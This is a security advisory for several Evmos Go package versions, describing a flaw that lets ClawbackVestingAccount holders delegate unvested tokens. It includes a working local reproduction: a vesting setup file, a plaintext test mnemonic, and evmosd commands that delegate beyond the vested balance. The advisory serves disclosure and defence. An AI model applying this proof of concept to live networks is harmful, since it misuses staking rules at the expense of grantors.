GHSA-7hrh-v6wp-53vw
Evmos allows unvested token delegations
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Go | github.com/evmos/evmos/v18 | <= 18.1.0 | no fix listed |
| Go | github.com/evmos/evmos/v17 | <= 17.0.1 | no fix listed |
| Go | github.com/evmos/evmos/v16 | <= 16.0.4 | no fix listed |
| Go | github.com/evmos/evmos/v15 | <= 15.0.0 | no fix listed |
| Go | github.com/evmos/evmos/v14 | <= 14.1.0 | no fix listed |
| Go | github.com/evmos/evmos/v13 | <= 13.0.2 | no fix listed |
| Go | github.com/evmos/evmos/v12 | <= 12.1.6 | no fix listed |
| Go | github.com/evmos/evmos/v11 | <= 11.0.2 | no fix listed |
| Go | github.com/evmos/evmos/v10 | <= 10.0.1 | no fix listed |
| Go | github.com/evmos/evmos/v9 | <= 9.1.0 | no fix listed |
| Go | github.com/evmos/evmos/v8 | <= 8.2.3 | no fix listed |
| Go | github.com/evmos/evmos/v7 | <= 7.0.0 | no fix listed |
| Go | github.com/evmos/evmos/v6 | <= 6.0.4 | no fix listed |
Details
As written in the advisory (Markdown source, shown as plain text).
### Impact
_What kind of vulnerability is it? Who is impacted?_
At the moment, users are able to delegate tokens that have not yet been vested. This affects employees and grantees who have funds managed via `ClawbackVestingAccount`.
### Patches
_Has the problem been patched? What versions should users upgrade to?_
[The PR linked to this advisory](https://github.com/evmos/evmos-ghsa-7hrh-v6wp-53vw/pull/1) includes part of the fix. The remainder is in a [second advisory on the Cosmos SDK fork](https://github.com/evmos/cosmos-sdk/security/advisories/GHSA-wj6f-x5wv-8pqv).
### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
There is no effective workaround to fix or remediate this issue without a new release. The best solution is to contain the information about this vulnerability to minimize the number of users who know about it and can thus exploit it.
### References
_Are there any links users can visit to find out more?_
See the integration tests for more details on the exploit, or use the following to reproduce it on the CLI:
1. Download `vesting_setup.json` with the following contents:
```
{
"start_time": 1679602272,
"periods": [
{
"coins": "100000000000000000000aevmos",
"length_seconds": 10
},
{
"coins": "100000000000000000000aevmos",
"length_seconds": 259200000
}
]
}
```
2. Run the following CLI commands to reproduce the issue locally:
```
evmosd tx vesting create-clawback-vesting-account evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --vesting vesting_setup.json --from dev0 --fees 2000000000000000aevmos --home ~/.tmp-evmosd --yes
# Verify that the balance contains zero locked tokens, 1000000000000000aevmos vested, 1000000000000000aevmos unvested
evmosd q vesting balances evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --home ~/.tmp-evmosd
evmosd keys add key1 --recover --home ~/.tmp-evmosd
# Enter the following mnemonic
skate tell option purity cattle poverty street act bone govern way various
evmosd q staking validators --home ~/.tmp-evmosd | grep operator_address
# Substitute the operator address from the previous query
# Note that this delegates 70% of the user's available stake
evmosd tx staking delegate <operator_address> 70000000000000000000aevmos --fees 5000000000000000aevmos --gas 300000 --from key1 --home ~/.tmp-evmosd --yes
# Re-run the same command
evmosd tx staking delegate <operator_address> 70000000000000000000aevmos --fees 5000000000000000aevmos --gas 300000 --from key1 --home ~/.tmp-evmosd --yes
# Note that the total delegations now exceed the user's vested balance
evmosd q staking delegations evmos1rn7fmq6he0s4uz9mwzzqwwm7fmmepd39cusn0t --home ~/.tmp-evmosd
```
References
External links from the advisory. They lead to third-party sites.